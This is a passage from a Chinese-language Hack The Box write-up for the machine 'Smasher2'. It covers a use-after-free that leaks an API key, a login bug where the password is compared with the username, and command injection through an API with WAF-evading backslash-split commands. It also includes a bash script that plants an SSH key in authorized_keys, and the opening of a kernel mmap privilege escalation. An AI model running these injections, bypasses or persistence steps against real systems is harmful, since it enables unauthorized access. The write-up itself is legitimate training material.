    dictiter_methods,                           /* tp_methods */
    0,
};
```

知道PyVarObject_HEAD_INIT扩展为1，类型，大小，并假设每个单词为8字节，则0x30字节为（（析构函数）dictiter_dealloc）。
因此，回过头来，发现了Py_DECREF宏的外观。
同样，我在代码中看到的地方如下所示：

``` bash
*data_object = *data_object + 1;
```

这是Py_INCREF宏扩展的。
在此基础上，我将回到手头的代码。 错误在于如何跟踪从请求中读取的Python对象数据的引用：

``` bash
data = request.get_json(silent=True)
```
稍后将其传递到manager.check_login中：

``` bash
is_logged = manager.check_login(data)
```

结果is_logged包含is_logged[1]中原始提交的json，该错误消息中引用了json：

``` bash
ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
```
如果登录失败，则会显示POSTED JSON来代替前一个％s：

``` bash
{
	"authenticated": false,
	"result": "Cannot authenticate with data: {u'username': u'0xdf', u'password': u'password'} - Try again!"
}
```
在C中，我可以在变量声明之后的第二行看到创建新列表对象的地方：
``` bash
return_list_object = (long *)PyList_New(2);
```
再向下一点，在检查关键数据是否在发布的JSON/字典中之后，它将数据对象读入一个对象，我将其命名为dataobject：

``` bash
data_object = (long *)get_dict_key(post_data,&data);
```

接下来是一个阻止程序，用于检查用户是否被阻止并进行处理：

``` bash
  user_is_blocked = is_blocked(user_login);
  if ((char)user_is_blocked == '\x01') {
    user_is_blocked = can_login(user_login);
    if ((char)user_is_blocked != '\0') {
      set_unblocked(user_login);
      set_login_count(user_login,0);
    }
    local_50 = (long *)PyBool_FromLong(0);
    *local_50 = *local_50 + 1;
    *(long **)return_list_object[3] = local_50;
    *data_object = *data_object + 1;
    *(long **)(return_list_object[3] + 8) = data_object;
  }
```

我将注意到，将创建一个布尔False（然后将引用计数器增加Py_INCREF），并将其存储在列表对象的第三个单词中。 然后，将data_object传递给Py_INCREF，然后将其设置为8个字节到同一第三个对象中。 因此，列表中的第三个对象必须是列表本身（第一个对象是引用计数）。 在此函数的最后，我看到这是返回的对象：

``` bash
  *return_list_object = *return_list_object + 1;
  plVar2 = return_list_object;
LAB_0010250e:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return plVar2;
```

列表对象上的引用计数增加，然后将其设置为plVar2并返回。
如果未阻止用户，则可以看到类似的模式。 将检查登录计数，该计数小于10，它将从POSTed JSON和内部存储中加载用户名和密码。 然后，我将在此处显示三种可能的路径：

``` bash
      __s2 = (char *)get_internal_usr(user_login);
      success = strcmp(username_string,__s2);
      if (success == 0) {
        __s2 = (char *)get_internal_pwd(user_login);
        success = strcmp(password_string,__s2);
        if (success == 0) {
          puVar1 = (undefined8 *)return_list_object[3];
          return_value = PyBool_FromLong(1);
          *puVar1 = return_value;
          *data_object = *data_object + 1;
          *(long **)(return_list_object[3] + 8) = data_object;
          goto LAB_001024c5;
        }
      }
      puVar1 = (undefined8 *)return_list_object[3];
      return_value = PyBool_FromLong(0);
      *puVar1 = return_value;
      *data_object = *data_object + 1;
      *(long **)(return_list_object[3] + 8) = data_object;
    }
    else {
      set_blocked(user_login);
      local_48 = (long *)PyBool_FromLong(1);
      *local_48 = *local_48 + 1;
      puVar1 = (undefined8 *)return_list_object[3];
      return_value = PyBool_FromLong(0);
      *puVar1 = return_value;
      *(long **)(return_list_object[3] + 8) = data_object;
    }
```

第一个是用户名和密码是否匹配。 它在data_object上调用Py_INCREF，将其设置为列表中的8个字节，并将列表中的0个字节设置为True。
如果用户名或密码失败，则将其Py_INCREFs data_ojbect设置为列表中的第一项为False，将data_object上的名称为Py_INCREF，然后将data_object置于第二项。
第三个路径是登录计数不小于10。它将第一个列表项设置为False，将第二个列表项设置为data_object。
缺少了什么？ 它没有增加data_object的引用计数！ 下一个代码（所有路径都经过）是：

``` bash
LAB_001024c5:
  *data_object = *data_object + -1;
  if (*data_object == 0) {
    (**(code **)(data_object[1] + 0x30))(data_object);
  }
  *return_list_object = *return_list_object + 1;
  plVar2 = return_list_object;
```

这是data_object上的Py_DECREF。
这是什么意思？ 在此调用结束时，如果它是第11次失败的登录，则具有用户名和密码的data_object将被标记为不再引用，因此将打开以进行垃圾回收，即使当相同的内存将在错误消息中打印出来时， 代码重新回到Python中。
事实证明，在调用manager.check_login（data）之后，无论check_login的结果如何，它都会创建一个对象：

``` bash
    is_logged = manager.check_login(data)
    secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
```

几行后，识别出登录失败并构造了消息：

``` bash
     if not is_logged[0]:
         ret["authenticated"] = False
         ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
```

利用：

 - 我发送10个失败的登录名。用户状态未设置为已阻止。

 - 我发送了第11次登录尝试，但登录数据已修改，因此它包含与secret_token_info相同的结构，并带有两个字符串和一个int的列表，而不是该站点发送的是带有两个键的字典。

 - manager.check_login（）由于该块而将失败，并减少data_object上的引用计数，从而使垃圾收集器将堆上的该空间标记为已打开。

 - 该程序在堆上为secret_token_info分配空间，secret_token_info是一个具有两个字符串和一个int的Python对象。由于data_object进行垃圾回收之前所在的空间仅为该大小，因此它将使用该空间。

 - 发送错误消息时，由于出现垃圾回收错误，指向data_object的指针现在指向secret_token_info，而是显示该信息。

Proxy通过Burp发送，并设置拦截。提交一个明显不正确的用户名和密码0xdf/0xdf：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb7.jpg)

再发送9次。现在，将其更改为数据为具有两个字符串和一个整数的数组。 它们的值是什么无关紧要。 使用

``` bash
{"action":"auth","data":["0xdf", "string", 223]}
```
当我提交时，错误消息中包含泄漏的信息，包括API密钥及其使用方法：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb8.jpg)

``` bash
{"authenticated":false,"result":"Cannot authenticate with data: ['/api/<api_key>/job', 'fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8', 1577434053] - Too many tentatives, wait 2 minutes!"}
```

#### 方法2：利用用户名==密码

在这里，我查看了检查用户名和密码的代码。 首先，此块加载输入的用户名和密码，然后调用get_internal_usr，并将输入的用户名与结果进行比较：

![](https://0xdf.gitlab.io/img/1570906220495.png)

如果匹配，则在此处继续，在此调用get_internal_pwd并将用户输入的密码与结果进行比较：

![](https://0xdf.gitlab.io/img/1570906095855.png)

如果此比较匹配，则返回True。
从启动代码中记住登录对象是一个包含两个项目的列表，可能是用户名和密码：

``` bash
             login = ["<REDACTED>", "<REDACTED>"]
             Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
```

深入研究get_internal_usr（在Ghidra中查找反编译的代码），看到以下内容：

``` bash
undefined8 get_internal_usr(undefined8 param_1)

{
  long *plVar1;
  undefined8 uVar2;
  
  plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
  uVar2 = PyList_GetItem(plVar1,0);
  uVar2 = PyString_AsString(uVar2);
  *plVar1 = *plVar1 + -1;         // Py_DECREF
  if (*plVar1 == 0) {
    (**(code **)(plVar1[1] + 0x30))(plVar1);
  }
  return uVar2;
}
```

使用PyObject_GetAttrString来获取user_login对象，该对象是上面带有用户名和密码的列表。 然后在下一行检索列表中的第一项，将其作为字符串处理，并在调用Py_DECREF之后返回。 这就是所期望的。
现在，看看get_internal_pwd：

``` bash
undefined8 get_internal_pwd(undefined8 param_1)

{
  long *plVar1;
  undefined8 uVar2;
  
  plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
  uVar2 = PyList_GetItem(plVar1,0);  // This should be 1, not 0
  uVar2 = PyString_AsString(uVar2);
  *plVar1 = *plVar1 + -1;
  if (*plVar1 == 0) {
    (**(code **)(plVar1[1] + 0x30))(plVar1);
  }
  return uVar2;
}
```

执行相同的操作，包括获取列表中的第一项，而不是第二项。 这意味着实际上是根据存储的用户名检查密码的！
知道了这一点，我花了几分钟就猜出了Administrator：Administrator的凭据。 这样做时，它将返回API密钥和端点信息：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb9.jpg)

``` bash
{
	"authenticated": true,
	"result": {
		"creation_date": 1577435021,
		"endpoint": "/api/<api_key>/job",
		"key": "fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8"
	}
}
```

当得到一个shell时，查看源代码，发现它试图将用户名和密码设置为无法猜测的值：

``` bash
login = ["Administrator", "SuperSecretAdminPWD123!"]
```
但是该用户名/密码组合无效，因为从未检查第二项。

 - API执行

现在有了api密钥，转到/api。 给的/api路径的代码显示可以运行命令：

``` bash
@app.route("/api/<key>/job", methods=['POST'])
def job(key):
    ret = {"success": None, "result": None}
    manager = safe_get_manager(session["id"])
    if manager.secret_key == key:
        data = request.get_json(silent=True)
        if data and type(data) == dict:
            if "schedule" in data:
                out = subprocess.check_output(['bash', '-c', data["schedule"]])
                ret["success"] = True
                ret["result"] = out
            else:
                ret["success"] = False
                ret["result"] = "Missing schedule parameter."
        else:
            ret["success"] = False
            ret["result"] = "Invalid value provided."
    else:
        ret["success"] = False
        ret["result"] = "Invalid token."
    return jsonify(ret)
```

需要发布json数据，并在其中包含一个关键时间表，该值是我要运行的值。
还在顶部看到一个会话检查，因此，我还将包括从Burp提取的会话cookie。

 - 运行失败

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"id"}'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>
```

-s 允许在没有状态栏的情况下传递结果；
-H "Cookie: session=eyJp ..." 添加会话cookie；
-H "Content-Type: application/json" 告诉服务器将POST数据作为json处理；
http：//wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job是登录后给出的网址；
--data '{"schedule":"id"}' 是要尝试运行命令ID。

 - 存在waf

在代码中看不到403禁止访问。 如果密钥不匹配，我应该得到200和json，表示成功为False。 这使我认为可能存在WAF阻止请求。
开始使用不同的命令，以了解可以完成的工作。 id很小，但是w呢？ 它返回结果：

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"w"}'
{"result":" 09:40:47 up  3:24,  0 users,  load average: 0.00, 0.00, 0.00\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\n","success":true}
```

好的，回到id，我可以在字符串中添加一些WAF规则以通过它吗？ 此链接具有一些良好的WAF规则。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb10.jpg)

发现了2种通过WAF执行命令的方法，包括''和\\来分解字符。

#### 得到user.txt

使用此命令来检查home目录-只有一个：

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"l\\s /home/"}'
{"result":"dzonerzy\n","success":true}
```

帅的掉渣，接下来依法炮制

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"l\\s -\\l\\a /home/dzonerzy/"}'
{"result":"total 44\ndrwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17  2019 .\ndrwxr-xr-x 3 root     root     4096 Feb 15  2019 ..\nlrwxrwxrwx 1 dzonerzy dzonerzy    9 Feb 15  2019 .bash_history -> /dev/null\n-rw-r--r-- 1 dzonerzy dzonerzy  220 Feb 15  2019 .bash_logout\n-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16  2019 .bashrc\ndrwx------ 3 dzonerzy dzonerzy 4096 Feb 15  2019 .cache\ndrwx------ 3 dzonerzy dzonerzy 4096 Feb 15  2019 .gnupg\ndrwx------ 5 dzonerzy dzonerzy 4096 Feb 17  2019 .local\n-rw-r--r-- 1 dzonerzy dzonerzy  807 Feb 15  2019 .profile\n-rw-r--r-- 1 root     root      900 Feb 16  2019 README\ndrwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 27 08:56 smanager\n-rw-r----- 1 root     dzonerzy   33 Feb 17  2019 user.txt\n","success":true}
```

读取user.txt

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"ca\\t /home/dzonerzy/user.txt"}'
{"result":"91a13e3*************************\n","success":true}
```
<font color="red">为防止有人把flag拿来乱提交，故将flag打码</font>

#### SSH密钥投毒

我无法通过WAF获得类似我的IP地址的任何信息，所以偶然发现了一些战术。 已经在dzonerzy的主目录中。 将创建一个.ssh目录，然后上传一个密钥。
创建目录：

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"mk\\dir /home/dzonerzy/.ss\\h"}'
{"result":"","success":true}
```

base64加密密钥并将其写入/tmp：

``` bash
root@kali:~# base64 -w0 /root/.ssh/id_rsa.pub
c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDOXAvYnM5c1VkeFBZeUcrQWxaVnR1ais3d3BWREFoNmpySWRVeEl4N2MrK2NldEcvdU9ZMVIyZkozTDlIQ2dqazVXRkFpTVFsMmVYVnRtdHdWRGFYN1BpdzlSek1EV05RZW9YbUt6M0l5UFcyNzJpVVN4d2Q1TTd1ZVRpdTNnSlc0U1pmTWZITi84bjZ5clNDV25qZnFPaDN2aGdWTmx0ZmFicnRRSjVPQTR3S1BTcFZHVHNMT3psUCtjNEFmWjEyNVp6RVdOU0J1WG9GaCtLUUpsUWdwY1pkN1NDVVVEWnZBdGQ4b3BaR1pib0VidzJnemdhQUQrMkZIOGxrejJHOGc2VDhtSWVyRnl2enpvSmxpVU14Q3U0U0huQ1FnVThCQjYzdThlaTFoSXk2M0hPZVkycjd5VjU2Rmd5MVNXdDN0ZVl4THk5b1FyaFVsKzJjWTRoUDFXNy95dDJwSHRyQ1Rma3M0RDFtS1o5UlJrNlJTaTc0UmtGQkVUMkExYk9ISmZtTzYxQVN4UnlZeWhPQzVzYW0yZ2F5VS9IaHIrVUtuY0crb2JXMWpGRlR4NlFoUFBuVEdjVnJVQXQ0bnY5OUdiUVh3Z2pxOFlPL0tMT091Q3Q0Z2pDYnk4NVF0b1dlZnBvTWZSTUJoSXFZZ2pvQ0RuTEVsQkc5YWZqMVJiT2M9IHJvb3RAa2FsaQo=
```
写入成功

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"echo \"c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDOXAvYnM5c1VkeFBZeUcrQWxaVnR1ais3d3BWREFoNmpySWRVeEl4N2MrK2NldEcvdU9ZMVIyZkozTDlIQ2dqazVXRkFpTVFsMmVYVnRtdHdWRGFYN1BpdzlSek1EV05RZW9YbUt6M0l5UFcyNzJpVVN4d2Q1TTd1ZVRpdTNnSlc0U1pmTWZITi84bjZ5clNDV25qZnFPaDN2aGdWTmx0ZmFicnRRSjVPQTR3S1BTcFZHVHNMT3psUCtjNEFmWjEyNVp6RVdOU0J1WG9GaCtLUUpsUWdwY1pkN1NDVVVEWnZBdGQ4b3BaR1pib0VidzJnemdhQUQrMkZIOGxrejJHOGc2VDhtSWVyRnl2enpvSmxpVU14Q3U0U0huQ1FnVThCQjYzdThlaTFoSXk2M0hPZVkycjd5VjU2Rmd5MVNXdDN0ZVl4THk5b1FyaFVsKzJjWTRoUDFXNy95dDJwSHRyQ1Rma3M0RDFtS1o5UlJrNlJTaTc0UmtGQkVUMkExYk9ISmZtTzYxQVN4UnlZeWhPQzVzYW0yZ2F5VS9IaHIrVUtuY0crb2JXMWpGRlR4NlFoUFBuVEdjVnJVQXQ0bnY5OUdiUVh3Z2pxOFlPL0tMT091Q3Q0Z2pDYnk4NVF0b1dlZnBvTWZSTUJoSXFZZ2pvQ0RuTEVsQkc5YWZqMVJiT2M9IHJvb3RAa2FsaQo=\" > /tmp/luci"}'
{"result":"","success":true}
```

现在解码密钥并存储在authorized_keys中：

``` bash
root@kali:~# curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik16VmhZVGd3WXpObFlUTXhaalZpWWpSbE1HSXdZMlE0WkRWaFpXSTVNbU5sWm1KaFkyUmtNQT09In19.XgW_VQ.XrJU7D8e6QoVbpElCy-qxSS2PBI" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"ba\\se\\64 -\\d /tmp/luci >> /home/dzonerzy/.ss\\h/autho\\rized_k\\eys"}'
{"result":"","success":true}
```

现在可以连接了，帅炸了。。。

``` bash
root@kali:~# ssh -i /root/.ssh/id_rsa dzonerzy@10.10.10.135
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Dec 27 10:38:23 2019 from 10.10.14.10
dzonerzy@smasher2:~$ id
uid=1000(dzonerzy) gid=1000(dzonerzy) groups=1000(dzonerzy),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
dzonerzy@smasher2:~$ whoami
dzonerzy
dzonerzy@smasher2:~$
```

还可以写成一键getshell的脚本如下所示，然后运行，非常的牛批：

``` bash
#!/bin/bash

cookie=$(curl -s -I  http://wonderfulsessionmanager.smasher2.htb/ | grep "Set-Cookie" | cut -d';' -f1 | cut -d= -f2)
ssh_pub_b64=$(cat /root/.ssh/id_rsa.pub | base64 -w0)

# Upload base64 encoded key
curl -s -H "Cookie: session=$cookie" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"echo    \"'$ssh_pub_b64'\" > /tmp/df"}' | grep -q true || { echo "[-] Failed to upload public key to /tmp"; exit 1; }
echo "[+] Uploaded base64-encoded public key to /tmp/df"

# make .ssh directory
curl -s -H "Cookie: session=$cookie" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":         "mk\\dir -\\p /home/dzonerzy/.ss\\h"}' | grep -q true || { echo "[-] Failed to make /home/dzonerzy/.ssh directory";  exit 1; }
echo "[+] Created .ssh directory"

# Decode Key
curl -s -H "Cookie: session=$cookie" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"base64 -\\d /tmp/df > /home/dzonerzy/.ss\\h/auth\\orized_keys"}' | grep -q true || { echo "[-] Failed to decode key into authorized_keys"; exit 1; }
echo "[+] Decoded public key into authorized_keys file"

# Delete tmp file
curl -s -H "Cookie: session=$cookie" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"rm /tmp/df"}' | grep -q true || echo "[-] Failed to delete encoded key from tmp. Manually rm /tmp/df"

echo -e "[+] SSH with the following command:\nssh -i /root/.ssh/id_rsa dzonerzy@10.10.10.135"
```

``` bash
root@kali:~# ./smasher2.sh 
[+] Uploaded base64-encoded public key to /tmp/df
[+] Created .ssh directory
[+] Decoded public key into authorized_keys file
[+] SSH with the following command:
ssh -i /root/.ssh/id_rsa dzonerzy@10.10.10.135
root@kali:~# ssh -i /root/.ssh/id_rsa dzonerzy@10.10.10.135
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Dec 27 10:38:23 2019 from 10.10.14.10
dzonerzy@smasher2:~$ id
uid=1000(dzonerzy) gid=1000(dzonerzy) groups=1000(dzonerzy),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
dzonerzy@smasher2:~$ whoami
dzonerzy
dzonerzy@smasher2:~$ 
```

#### 提权：dzonerzy –> root

``` bash
dzonerzy@smasher2:~$ cat README 


         .|'''.|                            '||                      
         ||..  '  .. .. ..    ....    ....   || ..     ....  ... ..  
          ''|||.   || || ||  '' .||  ||. '   ||' ||  .|...||  ||' '' 
        .     '||  || || ||  .|' ||  . '|..  ||  ||  ||       ||     
        |'....|'  .|| || ||. '|..'|' |'..|' .||. ||.  '|...' .||.    v2.0 
                                                             
                                                        by DZONERZY 

Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy

                                       Hacking!

free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *
```

给出提示说明提权需要自己写exp来通过内核内存溢出提权

``` bash
dzonerzy@smasher2:~$ find / -group adm 2>/dev/null
/var/spool/rsyslog
/var/log/apt/term.log
/var/log/syslog
/var/log/apache2
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache2/other_vhosts_access.log
/var/log/kern.log
/var/log/auth.log
```

通过访问auth.log，我可以查看sudo运行的不同命令。 日志行采用以下格式：

``` bash
dzonerzy@smasher2:~$ strings /var/log/auth.log | grep COMMAND | head -1
Feb 15 21:58:48 smasher sudo: dzonerzy : TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/apt-get update
```
使用bash-foo，可以在此日志中获得命令的列表：

``` bash
dzonerzy@smasher2:~$ strings /var/log/auth.log | grep COMMAND | cut -d: -f5- | sort -u
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/bin/chown root:root banner
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/bin/su
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/bin/systemctl enable rc.local.service
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/apt-get update
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/apt-get upgrade
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/apt install apache2 python-pip
 TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/id
 TTY=unknown ; PWD=/ ; USER=dzonerzy ; COMMAND=/bin/bash -c cd /home/dzonerzy/smanager && ./runner.py 2>&1 > /dev/null &
 TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
 user NOT in sudoers ; TTY=tty1 ; PWD=/home/dzonerzy ; USER=root ; COMMAND=/usr/bin/id
```

除了最后两个以外，其他似乎都在设置框。 倒数第二个启动以dzonerzy运行的Web服务器。 最后一个很有趣。
如果我在二进制文件上运行字符串，则会得到以下信息：

``` bash
dzonerzy@smasher2:~$ strings /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
9Ogy7
AUATSL
D+&H
[A\A]]
UHc=
6DHID Device successfully closed
6DHID Device mmap( vma_size: %x, offset: %x)
6DHID mmap failed, requested too large a chunk of memory
This is the right way, please exploit this shit!
6DHID device has been opened %d time(s)
1DHID failed to register a major number
6DHID registered correctly with major number %d
1DHID failed to register device class
6DHID device class registered correctly
1DHID failed to create the device
6DHID device class created correctly
6DHID mmap failed
6DHID mmap OK
6DHID initializing the LKM
dhid
6DHID unloaded
version=1.0
description=LKM for dzonerzy dhid devices
author=DZONERZY
license=GPL
srcversion=974D0512693168483CADFE9
depends=
retpoline=Y
name=dhid
vermagic=4.15.0-45-generic SMP mod_unload 
dhid
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
dhid.c
set_node_perm
dev_release
dev_mmap
dev_read
dev_open
numberOpens
dhid_init
fops
majorNumber
__key.41070
dzcharClass
dzcharDev
dhid_exit
__UNIQUE_ID_version76
__UNIQUE_ID_description75
__UNIQUE_ID_author74
__UNIQUE_ID_license73
dhid.mod.c
__UNIQUE_ID_srcversion17
__module_depends
__UNIQUE_ID_retpoline16
__UNIQUE_ID_name15
__UNIQUE_ID_vermagic14
__class_create
__this_module
class_destroy
cleanup_module
remap_pfn_range
kfree
__fentry__
init_module
device_create
class_unregister
printk
size
_copy_to_user
__register_chrdev
device_destroy
__kmalloc
allocated
__unregister_chrdev
.symtab
.strtab
.shstrtab
.note.gnu.build-id
.rela.text
.rela.init.text
.rela.exit.text
.rodata.str1.8
.rodata.str1.1
.modinfo
.rela__mcount_loc
.rela.data
.rela.gnu.linkonce.this_module
.bss
.comment
.note.GNU-stack
```

可以在/dev中看到设备：

``` bash
dzonerzy@smasher2:~$ ls /dev/dhid -l
crwxrwxrwx 1 root root 243, 0 Dec 27 06:16 /dev/dhid
```

F-Secure的这篇论文在分解mmap处理程序以及如何查找其中的问题方面做得非常出色。 在第4节（第15页）中，介绍了如何利用它们。 它提供了一个示例，我将在此处尝试应用该示例，并了解我能得到多大的帮助。 我的想法是，我将使用mmap处理程序浏览内存以查找凭证结构（struct cred），该结构在此处定义：

``` bash
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
